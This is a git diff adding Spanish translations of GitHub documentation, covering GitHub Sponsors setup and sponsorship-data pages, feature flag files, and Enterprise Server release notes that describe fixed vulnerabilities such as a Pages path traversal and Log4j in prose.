+intro: 'Puedes convertirte en un desarrollador patrocinado si te unes a {% data variables.product.prodname_sponsors %}, completas tu perfil de desarrollador patrocinado, creas niveles de patrocinio, emites tu información fiscal y bancaria y habilitas la autenticación bifactorial para tu cuenta en {% data variables.product.product_location %}.'
 redirect_from:
   - /articles/becoming-a-sponsored-developer
   - /github/supporting-the-open-source-community-with-github-sponsors/becoming-a-sponsored-developer
@@ -12,26 +12,26 @@ type: how_to
 topics:
   - User account
   - Sponsors profile
-shortTitle: Set up for user account
+shortTitle: Configuración para cuenta de usuario
 ---
 
-## Joining {% data variables.product.prodname_sponsors %}
+## Unirte a {% data variables.product.prodname_sponsors %}
 
 {% data reusables.sponsors.you-can-be-a-sponsored-developer %} {% data reusables.sponsors.stripe-supported-regions %}
 
-To join {% data variables.product.prodname_sponsors %} as an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)."
+Para unirte a {% data variables.product.prodname_sponsors %} comoorganización, consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu organización](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)".
 
 {% data reusables.sponsors.navigate-to-github-sponsors %}
-2. If you are an organization owner, you have more than one eligible account. Click **View your eligible accounts**, then in the list of accounts, find your user account.
-3. Click **Join the waitlist**.
+2. Si eres un propietario de organización, tienes más de una cuenta elegible. Da clic en **Ver tus cuentas elegibles** y, posteriormente, en la lista de cuentas, encuentra tu cuenta de usuario.
+3. Da clic en **Unirse a la lista de espera**.
 {% data reusables.sponsors.contact-info %}
 {% data reusables.sponsors.accept-legal-terms %}
 
-If you have a bank account in a supported region, {% data variables.product.prodname_dotcom %} will review your application within two weeks.
+Si tienes una cuenta bancaria en una región compatible, {% data variables.product.prodname_dotcom %} revisará tu aplicación dentro de dos semanas.
 
-## Completing your sponsored developer profile
+## Completar un perfil de programador patrocinado
 
-After {% data variables.product.prodname_dotcom %} reviews your application, you can set up your sponsored developer profile so that people can start sponsoring you.
+Una vez que {% data variables.product.prodname_dotcom %} revise tu aplicación, podrás configurar tu perfil de desarrollador patrocinado para que las personas puedan comenzar a patrocinarte.
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
 {% data reusables.sponsors.navigate-to-profile-tab %}
@@ -41,7 +41,7 @@ After {% data variables.product.prodname_dotcom %} reviews your application, you
 {% data reusables.sponsors.opt-in-to-being-featured %}
 {% data reusables.sponsors.save-profile %}
 
-## Creating sponsorship tiers
+## Crear niveles de patrocinio
 
 {% data reusables.sponsors.tier-details %}
 
@@ -56,16 +56,16 @@ After {% data variables.product.prodname_dotcom %} reviews your application, you
 {% data reusables.sponsors.review-and-publish-tier %}
 {% data reusables.sponsors.add-more-tiers %}
 
-## Submitting your bank information
+## Emitir tu información bancaria
 
-If you live in a supported region, you can follow these instructions to submit your bank information by creating a Stripe Connect account. Your region of residence and the region of your bank account must match. {% data reusables.sponsors.stripe-supported-regions %}
+Si vives en una región compatible, puedes seguir estas instrucciones para emitir tu información bancaria y crear una cuenta de Stripe Connect. La región en la cual resides y aquella en la que está tu cuenta bancaria deben coincidir. {% data reusables.sponsors.stripe-supported-regions %}
 
 {% data reusables.sponsors.double-check-stripe-info %}
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
 {% data reusables.sponsors.create-stripe-account %}
 
-## Submitting your tax information
+## Emitir tu información de facturación
 
 {% data reusables.sponsors.tax-form-information-dev %}
 
@@ -75,14 +75,13 @@ If you live in a supported region, you can follow these instructions to submit y
 {% data reusables.sponsors.overview-tab %}
 {% data reusables.sponsors.tax-form-link %}
 
-## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account
+## Habilitar la autenticación de dos factores (2FA) en tu cuenta {% data variables.product.prodname_dotcom %}
 
-Before you can become a sponsored developer, you must enable 2FA for your account on {% data variables.product.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+Antes de que puedas convertirte en un desarrollador patrocinado, debes habilitar la 2FA para tu cuenta en {% data variables.product.product_location %}. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)".
 
-## Submitting your application to {% data variables.product.prodname_dotcom %} for approval
+## Enviar tu aplicación a {% data variables.product.prodname_dotcom %} para su aprobación
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
-4. Click **Request approval**.
-  ![Request approval button](/assets/images/help/sponsors/request-approval-button.png)
+4. Haz clic en **Request approval** (Solicitar aprobación). ![Botón Request approval (Solicitar aprobación)](/assets/images/help/sponsors/request-approval-button.png)
 
 {% data reusables.sponsors.github-review-app %}
diff --git a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md
index 857ea9e9b3..eb46f67b49 100644
--- a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md
+++ b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your sponsors and sponsorships
-intro: You can view and export detailed information and analytics about your sponsors and sponsorships.
+title: Ver tus patrocinadores y patrocinios
+intro: Puedes ver y exportar la información detallada y la analítica de tus patrocinadores y patrocinios.
 redirect_from:
   - /articles/viewing-your-sponsors-and-sponsorships
   - /github/supporting-the-open-source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships
@@ -11,55 +11,52 @@ type: how_to
 topics:
   - Open Source
   - Analytics
-shortTitle: View sponsors & sponsorships
+shortTitle: Visualizar patrocinadores & patrocinios
 ---
 
-## About sponsors and sponsorships
+## Acerca de los patrocinadores y los patrocinios
 
-You can view analytics on your current and past sponsorships, the payments you've received from sponsors, and events, such as cancellations and sponsor tier changes for your sponsorships. You can also view activity such as new sponsorships, changes to sponsorships, and canceled sponsorships. You can filter the list of activities by date. You can also export sponsorship data for the account you're viewing in CSV or JSON format.
+Puedes ver la analítica de tus patrocinios actuales y pasados, los pagos que has recibido de tus patrocinadores, y los eventos tales como las cancelaciones y cambios de nivel de patrocinio para tus patrocinios. También puedes ver la actividad tal como los nuevos patrocinios, cambios, y cancelaciones de los mismos. Puedes filtrar la lista de actividades por fecha. También puedes exportar datos del patrocinio en formato CSV o JSON para la cuenta que estás viendo.
 
-## About transaction metadata 
+## Acerca de los metadatos de las transacciones
 
-To track where your sponsorships are coming from, you can use custom URLs with metadata for your {% data variables.product.prodname_sponsors %} profile or checkout page. The metadata will be included in your transaction export in the metadata column. For more information about exporting transaction data, see "[Exporting your sponsorship data](#exporting-your-sponsorship-data)."
+Para rastrear de dónde vienen tus patrocinios, puedes utilizar las URL personalizadas con metadatos para tu perfil de {% data variables.product.prodname_sponsors %} o página de verificación. Los metadatos se incluirán en tu exportación de transacciones en la columna de metadatos. Para obtener más información sobre cómo exportar los datos de las transacciones, consulta la sección "[Exportar los datos de tus patrocinios](#exporting-your-sponsorship-data)".
 
-Metadata must use the `key=value` format and can be added to the end of these URLs.
+Los metadatos deben utilizar el formato `key=value` y se pueden agregar al final de estas URL.
 
-- Sponsored account profile: `https://github.com/sponsors/{account}`
-- Sponsorship checkout: `https://github.com/sponsors/{account}/sponsorships`
+- Perfil de cuenta patrocinada: `https://github.com/sponsors/{account}`
+- Verificación de patrocinio: `https://github.com/sponsors/{account}/sponsorships`
 
-The metadata will persist in the URL as a potential sponsor switches accounts to sponsor with, selects monthly or one-time payments, and chooses a different tier.
+Los metadatos persistirán en la URL conforme el patrocinador potencial cambie la cuenta con la cual patrocina, seleccione pagos mensuales o de una sola ocasión y elija un nivel diferente.
 
-### Syntax requirements
+### Requisitos de sintaxis
 
-Your metadata must meet the following requirements, which do not apply to any other URL parameters that are passed.
+Tus metadatos deben cumplir con los siguientes requisitos, los cuales no aplican a ningún otro parámetro de la URL que se pase.
 
-- Keys must be prefixed by `metadata_`, such as `metadata_campaign`. In your transaction export, the `metadata_` prefix will be removed from the key.
-- Keys and values must only contain alphanumeric values, dashes, or underscores. If non-accepted characters are passed in either keys or values, a 404 error will be presented.
-- Whitespaces are not allowed.
-- A maximum of **10** key-value pairs are accepted per request. If more are passed, only the first 10 will be saved.
-- A maximum of **25** characters per key are accepted. If more than that are passed, only the first 25 will be saved.
-- A maximum of **100** characters per value are accepted. If more than that are passed, only the first 100 will be saved.
+- Las llaves deben tener un prefijo de `metadata_`, tal como `metadata_campaign`. En tu exportación de transacciones, el prefijo `metadata_` se eliminará de la llave.
+- Las llaves y los valores solo deben contener valores alfanuméricos, diagonales o guiones bajos. Si se pasan caracteres inaceptables en cualquiera de las llaves o valores, se presentará un error 404.
+- No se permiten los espacios en blanco.
+- Se acepta un máximo de **10** por solicitud. Si se pasan más, solo se guardarán los primeros 10.
+- Se acepta un máximo de **25** caracteres por llave. Si se pasan más de estos, solo se guardarán los primeros 25.
+- Se acepta un máximo de **100** caracteres por valor. Si se pasan más, solo se guardarán los primeros 100.
 
-For example, you can use `https://github.com/sponsors/{account}?metadata_campaign=myblog` to track sponsorships that originate from your blog. `metadata_campaign` is the key and `myblog` is the value. In the metadata column of your transaction export, the key will be listed as `campaign`.
+Por ejemplo, puedes utilizar `https://github.com/sponsors/{account}?metadata_campaign=myblog` para rastrear los patrocinios que tienen origen en tu blog. `metadata_campaign` es la llave y `myblog` es el valor. En la columna de metadatos de tu exportación de transacciones, la llave se listará como `campaign`.
 
-## Viewing your sponsors and sponsorships
+## Ver tus patrocinadores y patrocinios
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
-1. Optionally, to filter your sponsors by tier, use the **Filter** drop-down menu, click **Active tiers** or **Retired tiers**, and select a tier.
-  ![Drop-down menu to filter by tier](/assets/images/help/sponsors/filter-drop-down.png)
+1. Como alternativa, para filtrar los patrocinadores por nivel, utiliza el menú desplegable de **Filter** (Filtro), haz clic en **Active tiers** (Niveles activos) o **Retired tiers** (Niveles retirados) y selecciona un nivel. ![Menú desplegable para filtrar por nivel](/assets/images/help/sponsors/filter-drop-down.png)
 
-## Viewing recent sponsorship activity
+## Visualizar la actividad de patrocinio reciente
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
 {% data reusables.sponsors.activity-tab %}
 
-## Exporting your sponsorship data
+## Exportar tus datos de patrocinio
 
-You can export your sponsorship transactions by month. {% data variables.product.company_short %} will send you an email with transaction data for all of your sponsors for the month you select. After the export is complete, you can export another month of data. You can export up to 10 sets of data per hour for any of your sponsored accounts.
+Puedes exportar tus transacciones de patrocinio mensualmente. {% data variables.product.company_short %} te enviará un correo electrónico con los datos de las transacciones de todos tus patrocinadores para el mes que selecciones. Después de que se complete la exportación, puedes exportar otor mes de datos. Puedes exportar hasta 10 conjuntos de datos por hora para cualquiera de tus cuentas patrocinadas.
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
 {% data reusables.sponsors.activity-tab %}
-1. Click {% octicon "download" aria-label="The download icon" %} **Export**.
-  ![Export button](/assets/images/help/sponsors/export-all.png)
-1. Choose a time frame and a format for the data you'd like to export, then click **Start export**.
-  ![Options for data export](/assets/images/help/sponsors/export-your-sponsors.png)
+1. Da clic en {% octicon "download" aria-label="The download icon" %} **Exportar**. ![Botón de exportar](/assets/images/help/sponsors/export-all.png)
+1. Elige un periodo de tiempo y un formato para los datos que te gustaría exportar y luego haz clic en **Iniciar exportación**. ![Opciones para exportar datos](/assets/images/help/sponsors/export-your-sponsors.png)
diff --git a/translations/es-ES/data/features/actions-starter-template-ui.yml b/translations/es-ES/data/features/actions-starter-template-ui.yml
new file mode 100644
index 0000000000..7e1ebe5384
--- /dev/null
+++ b/translations/es-ES/data/features/actions-starter-template-ui.yml
@@ -0,0 +1,6 @@
+---
+#Reference: #5169.
+#Documentation for the Actions starter template UI updates
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/es-ES/data/features/enterprise-owners-visible-for-org-members.yml b/translations/es-ES/data/features/enterprise-owners-visible-for-org-members.yml
new file mode 100644
index 0000000000..1b0a06a45f
--- /dev/null
+++ b/translations/es-ES/data/features/enterprise-owners-visible-for-org-members.yml
@@ -0,0 +1,7 @@
+---
+#Reference: Issue #5741 in docs-content
+#Documentation for enterprise owners UI updates
+versions:
+  ghes: '>=3.4'
+  ghae: 'issue-####'
+  ghec: '*'
diff --git a/translations/es-ES/data/features/fixed-width-font-gfm-fields.yml b/translations/es-ES/data/features/fixed-width-font-gfm-fields.yml
new file mode 100644
index 0000000000..2c9ea31ac6
--- /dev/null
+++ b/translations/es-ES/data/features/fixed-width-font-gfm-fields.yml
@@ -0,0 +1,8 @@
+---
+#Reference: #5278.
+#Documentation for the fixed-width font support for markdown fields.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.4'
+  ghae: 'issue-5278'
diff --git a/translations/es-ES/data/glossaries/README.md b/translations/es-ES/data/glossaries/README.md
index 7961aba1f3..f6b824ae75 100644
--- a/translations/es-ES/data/glossaries/README.md
+++ b/translations/es-ES/data/glossaries/README.md
@@ -3,5 +3,6 @@
 Los siguientes archivos comprenden nuestro [Glosario de Crowdin](https://support.crowdin.com/glossary/):
 
 * `external.yml` contiene las entradas de glosario de cara al usuario.
+  * Las secuencias con `external.yml` son compatibles con condicionales líquidos. Consulta [contributing/liquid-helpers.md](/contributing/liquid-helpers.md).
 * `internal.yml` contiene las entradas que solo utilizan los traductores. Estos términos se muestran en la IU de Crowdin para proporcionar contexto adicional a los traductores sobre lo que están traduciendo, además de sugerir una secuencia localizada para ese término.
 * `candidates.yml` contiene términos que podrían estar potencialmente tanto en el glosario interno como en el externo, pero no se han definido aún.
diff --git a/translations/es-ES/data/glossaries/external.yml b/translations/es-ES/data/glossaries/external.yml
index 5b8ada1c94..7cd366b1de 100644
--- a/translations/es-ES/data/glossaries/external.yml
+++ b/translations/es-ES/data/glossaries/external.yml
@@ -210,7 +210,7 @@
   description: Las notificaciones enviadas a la dirección de correo electrónico de un usuario.
 - 
   term: cuenta empresarial
-  description: Las cuentas empresariales te permiten administrar centralmente las políticas y facturación de varias organizaciones de {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.gated-features.enterprise-accounts %}
+  description: Las cuentas empresariales te permiten administrar centralmente las políticas y la facturación de varias organizaciones. {% data reusables.gated-features.enterprise-accounts %}
 - 
   term: Explorer
   description: >-
diff --git a/translations/es-ES/data/learning-tracks/README.md b/translations/es-ES/data/learning-tracks/README.md
index 8535835ab3..ce3b8c6b95 100644
--- a/translations/es-ES/data/learning-tracks/README.md
+++ b/translations/es-ES/data/learning-tracks/README.md
@@ -33,7 +33,10 @@ El versionamiento para aprender pistas se procesa en l ahora interpretada de la
 
 Las condicionales líquidas **no** deben utilizarse para versionar en el archivo YAML para las guías. Solo las guías de pistas de aprendizaje que aplican a la versión actual se interpretarán automáticamente. Si no hay pistas con guías que pertenezcan a la versión actual, la sección de pistas de aprendizaje no se interpretará en lo absoluto.
 
-También es compatible el versionamiento explícito dentro de los datos de YML de las pistas de aprendizaje del producto. Por ejemplo:
+También es compatible el versionamiento explícito dentro de los datos de YML de las pistas de aprendizaje del producto. El formato y los valores permitidos son los mismos que en la [propiedad preliminar de versiones](/content#versions).
+
+Por ejemplo:
+
 ```
 learning_track_name:
   title: 'Learning track title'
@@ -45,6 +48,7 @@ learning_track_name:
    - /path/to/guide1
    - /path/to/guide2
 ```
+
 Si no se incluye la propiedad de `versiones`, se asume que la pista está disponible en todas las versiones.
 
 ## Imposición del modelado
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/16.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/16.yml
index 6bfa9ada18..cf73f11c30 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-0/16.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/16.yml
@@ -7,7 +7,7 @@ sections:
     - 'Los conteos del trabajador de Resque se mostraron incorrectamente durante el modo de mantenimiento. {% comment %} https://github.com/github/enterprise2/pull/26898, https://github.com/github/enterprise2/pull/26883 {% endcomment %}'
     - 'La memoria memcached asignada pudo haber sido cero en el modo de clústering. {% comment %} https://github.com/github/enterprise2/pull/26927, https://github.com/github/enterprise2/pull/26832 {% endcomment %}'
     - "Arregla compilaciones de las {% data variables.product.prodname_pages %} para que tomen en cuenta la configuración de NO_PROXY del aplicativo. Esto es relevante para los aplicativos configurados únicamente con un proxy HTTP. (actualización 2021-09-30) {% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}\n \nsections -> bugs -> 2\nFile: 16.yml"
-    - 'The GitHub Connect configuration of the source instance was always restored to new instances even when the `--config` option for `ghe-restore` was not used. This would lead to a conflict with the GitHub Connect connection and license synchronization if both the source and destination instances were online at the same time. The fix also requires updating backup-utils to 3.2.0 or higher. [updated: 2021-11-18]'
+    - 'La configuración de GitHub Connect para la instancia origen siempre se restableció a las instancias nuevas, incluso cunado no se utilizó la opción `--config` para `ghe-restore`. Esto ocasionó un conflicto con la conexión de GitHub Connect y la sincronización de licencia si tanto la instancia de origen como la de destino estuvieron en línea al mismo tiempo. Este arreglo también requiere actualizar las utilidades de respaldo a la versión 3.2.0 o superior. [actualizado: 2021-11-18]'
   known_issues:
     - 'En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.'
     - 'Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización.'
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/17.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/17.yml
index 8b5ad0be0f..09a1f42299 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-0/17.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/17.yml
@@ -13,7 +13,7 @@ sections:
     - 'An erroneous `jq` error message may have been displayed when running `ghe-config-apply`. {% comment %} https://github.com/github/enterprise2/pull/27203, https://github.com/github/enterprise2/pull/26784 {% endcomment %}'
     - 'La recuperación de fallos desde un centro de datos de un clúster primario hacia uno de un clúster secundario fue exitosa, pero recuperarse de los fallos nuevamente hacia el centro de datos del clúster primario original no pudo promover los índices de Elasticsearch. {% comment %} https://github.com/github/github/pull/193180, https://github.com/github/github/pull/192447 {% endcomment %}'
     - 'The Site Admin page for repository self-hosted runners returned an HTTP 500. {% comment %} https://github.com/github/github/pull/194205 {% endcomment %}'
-    - 'In some cases, GitHub Enterprise Administrators attempting to view the `Dormant users` page received `502 Bad Gateway` or `504 Gateway Timeout` response. {% comment %} https://github.com/github/github/pull/194259, https://github.com/github/github/pull/193609 {% endcomment %}'
+    - 'En algunos casos, los Administradores de GitHub Enterprise que intentaron ver la página de `Usuarios inactivos` recibieron una respuesta de tipo `502 Bad Gateway` o `504 Gateway Timeout`. {% comment %} https://github.com/github/github/pull/194259, https://github.com/github/github/pull/193609 {% endcomment %}'
   changes:
     - 'More effectively delete Webhook logs that fall out of the Webhook log retention window. {% comment %} https://github.com/github/enterprise2/pull/27157 {% endcomment %}'
   known_issues:
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/19.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/19.yml
index fb1afc45a0..c10953003b 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-0/19.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/19.yml
@@ -1,7 +1,7 @@
 date: '2021-11-09'
 sections:
   security_fixes:
-    - 'A path traversal vulnerability was identified in {% data variables.product.prodname_pages %} builds on {% data variables.product.prodname_ghe_server %} that could allow an attacker to read system files. To exploit this vulnerability, an attacker needed permission to create and build a {% data variables.product.prodname_pages %} site on the {% data variables.product.prodname_ghe_server %} instance. This vulnerability affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.3, and was fixed in versions 3.0.19, 3.1.11, and 3.2.3. This vulnerability was reported through the {% data variables.product.company_short %} Bug Bounty program and has been assigned CVE-2021-22870.'
+    - 'Se identificó una vulnerabilidad de recorrido de ruta en las compilaciones de {% data variables.product.prodname_pages %} en {% data variables.product.prodname_ghe_server %}, la cual pudo haber permitido que un atacante leyera los archivos de sistema. Para explotar esta vulnerabilidad, el atacante necesitaría permiso para crear y compilar un sitio de {% data variables.product.prodname_pages %} en la instancia de {% data variables.product.prodname_ghe_server %}. Esta vulnerabilidad afectó a todas las versiones de {% data variables.product.prodname_ghe_server %} anteriores a la 3.3 y se corrigió en las versiones 3.0.19, 3.1.11 y 3.2.3. Esta vulnerabilidad se reportó a través del programa de Recompensas por Errores de {% data variables.product.company_short %} y se le asignó el identificador CVE-2021-22870.'
     - 'Los paquetes se actualizaron a las últimas versiones de seguridad.'
   bugs:
     - 'Some Git operations failed after upgrading a {% data variables.product.prodname_ghe_server %} 3.x cluster because of the HAProxy configuration.'
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/20.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/20.yml
index ee3c205be8..2ffbc2409f 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-0/20.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/20.yml
@@ -11,6 +11,7 @@ sections:
   changes:
     - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option.
     - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes.
+    - The {% data variables.product.prodname_github_connect %} data connection record now includes a list of enabled {% data variables.product.prodname_github_connect %} features. [Updated 2021-12-09]
   known_issues:
     - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.
     - Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización.
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/22.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/22.yml
index 6bfb77cd5d..77c8c5aa24 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-0/22.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/22.yml
@@ -2,7 +2,8 @@
 date: '2021-12-13'
 sections:
   security_fixes:
-    - '**CRITICAL:** A remote code execution vulnerability in the Log4j library, identified as [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.3.1. The Log4j library is used in an open source service running on the {% data variables.product.prodname_ghe_server %} instance. This vulnerability was fixed in {% data variables.product.prodname_ghe_server %} versions 3.0.22, 3.1.14, 3.2.6, and 3.3.1.  For more information, please see [this post](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) on the GitHub Blog.'
+    - '**CRÍTICA:** Una vulnerabilidad de ejecución de código remoto en la librería Log4j, identificada como [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), afectó a todas las versiones de {% data variables.product.prodname_ghe_server %} anteriores a la 3.3.1. La librería Log4j se utiliza en un servicio de código abierto que se ejecuta en la instancia de {% data variables.product.prodname_ghe_server %}. Esta vulnerabilidad se corrigió en las versiones 3.0.22, 3.1.14, 3.2.6 y 3.3.1 de {% data variables.product.prodname_ghe_server %}. Para obtener más información, por favor, consulta [esta publicación](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) en el Blog de GitHub.'
+    - '**Actualización del 17 de diciembre de 2021**: Las correcciones que se llevaron a cabo para este lanzamiento también mitigan el [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046), el cual se publicó después de dicho lanzamiento. No se necesita ninguna actualización adicional en {% data variables.product.prodname_ghe_server %} para mitigar tanto al CVE-2021-44228 como al CVE-2021-45046.'
   known_issues:
     - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.
     - Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización.
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-1/11.yml b/translations/es-ES/data/release-notes/enterprise-server/3-1/11.yml
index 58add2e368..c532a5ee4d 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-1/11.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-1/11.yml
@@ -1,7 +1,7 @@
 date: '2021-11-09'
 sections:
   security_fixes:
-    - 'A path traversal vulnerability was identified in {% data variables.product.prodname_pages %} builds on {% data variables.product.prodname_ghe_server %} that could allow an attacker to read system files. To exploit this vulnerability, an attacker needed permission to create and build a {% data variables.product.prodname_pages %} site on the {% data variables.product.prodname_ghe_server %} instance. This vulnerability affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.3, and was fixed in versions 3.0.19, 3.1.11, and 3.2.3. This vulnerability was reported through the {% data variables.product.company_short %} Bug Bounty program and has been assigned CVE-2021-22870.'
+    - 'Se identificó una vulnerabilidad de recorrido de ruta en las compilaciones de {% data variables.product.prodname_pages %} en {% data variables.product.prodname_ghe_server %}, la cual pudo haber permitido que un atacante leyera los archivos de sistema. Para explotar esta vulnerabilidad, el atacante necesitaría permiso para crear y compilar un sitio de {% data variables.product.prodname_pages %} en la instancia de {% data variables.product.prodname_ghe_server %}. Esta vulnerabilidad afectó a todas las versiones de {% data variables.product.prodname_ghe_server %} anteriores a la 3.3 y se corrigió en las versiones 3.0.19, 3.1.11 y 3.2.3. Esta vulnerabilidad se reportó a través del programa de Recompensas por Errores de {% data variables.product.company_short %} y se le asignó el identificador CVE-2021-22870.'
     - 'Los paquetes se actualizaron a las últimas versiones de seguridad.'
   bugs:
     - 'Some Git operations failed after upgrading a {% data variables.product.prodname_ghe_server %} 3.x cluster because of the HAProxy configuration.'
@@ -10,7 +10,7 @@ sections:
     - 'If Ubuntu''s Uncomplicated Firewall (UFW) status was inactive, a client could not clearly see it in the logs.'
     - 'Upgrading from {% data variables.product.prodname_ghe_server %} 2.x to 3.x failed when there were UTF8 characters in an LDAP configuration.'
     - 'Some pages and Git-related background jobs might not run in cluster mode with certain cluster configurations.'
-    - 'When a new tag was created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload did not display a correct `head_commit` object. Now, when a new tag is created, the push webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload''s `after` commit.'
+    - 'Al crear una etiqueta nueva, la carga útil del webhook de [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) no mostró un objeto correcto de `head_commit`. Ahora, cuando se crea una etiqueta nueva, la carga útil del webhook de subida siempre incluye un objeto de `head_commit` que contiene los datos de la confirmación a la cual apunta dicha etiqueta nueva. Como resultado, el objeto `head_commit` siempre contendrá los datos de la confirmación `after` de la carga útil.'
     - 'The enterprise audit log page would not display audit events for {% data variables.product.prodname_secret_scanning %}.'
     - 'There was an insufficient job timeout for replica repairs.'
     - 'Users were not warned about potentially dangerous bidirectional unicode characters when viewing files. For more information, see "[Warning about bidirectional Unicode text](https://github.co/hiddenchars)" in {% data variables.product.prodname_blog %}.'
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-1/12.yml b/translations/es-ES/data/release-notes/enterprise-server/3-1/12.yml
index 73c91c8e8f..dd7f2bb066 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-1/12.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-1/12.yml
@@ -13,6 +13,7 @@ sections:
   changes:
     - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option.
     - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes.
+    - The {% data variables.product.prodname_github_connect %} data connection record now includes a list of enabled {% data variables.product.prodname_github_connect %} features. [Updated 2021-12-09]
   known_issues:
     - El registor de npm del {% data variables.product.prodname_registry %} ya no regresa un valor de tiempo en las respuestas de metadatos. Esto se hizo para permitir mejoras de rendimiento sustanciales. Seguimos teniendo todos los datos necesarios para devolver un valor de tiempo como parte de la respuesta de metadatos y terminaremos de devolver este valor ene l futuro una vez que hayamos resuelto los problemas de rendimiento existentes.
     - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-1/14.yml b/translations/es-ES/data/release-notes/enterprise-server/3-1/14.yml
index 77c1c368bc..6608379382 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-1/14.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-1/14.yml
@@ -2,7 +2,8 @@
 date: '2021-12-13'
 sections:
   security_fixes:
-    - '**CRITICAL:** A remote code execution vulnerability in the Log4j library, identified as [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.3.1. The Log4j library is used in an open source service running on the {% data variables.product.prodname_ghe_server %} instance. This vulnerability was fixed in {% data variables.product.prodname_ghe_server %} versions 3.0.22, 3.1.14, 3.2.6, and 3.3.1.  For more information, please see [this post](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) on the GitHub Blog.'
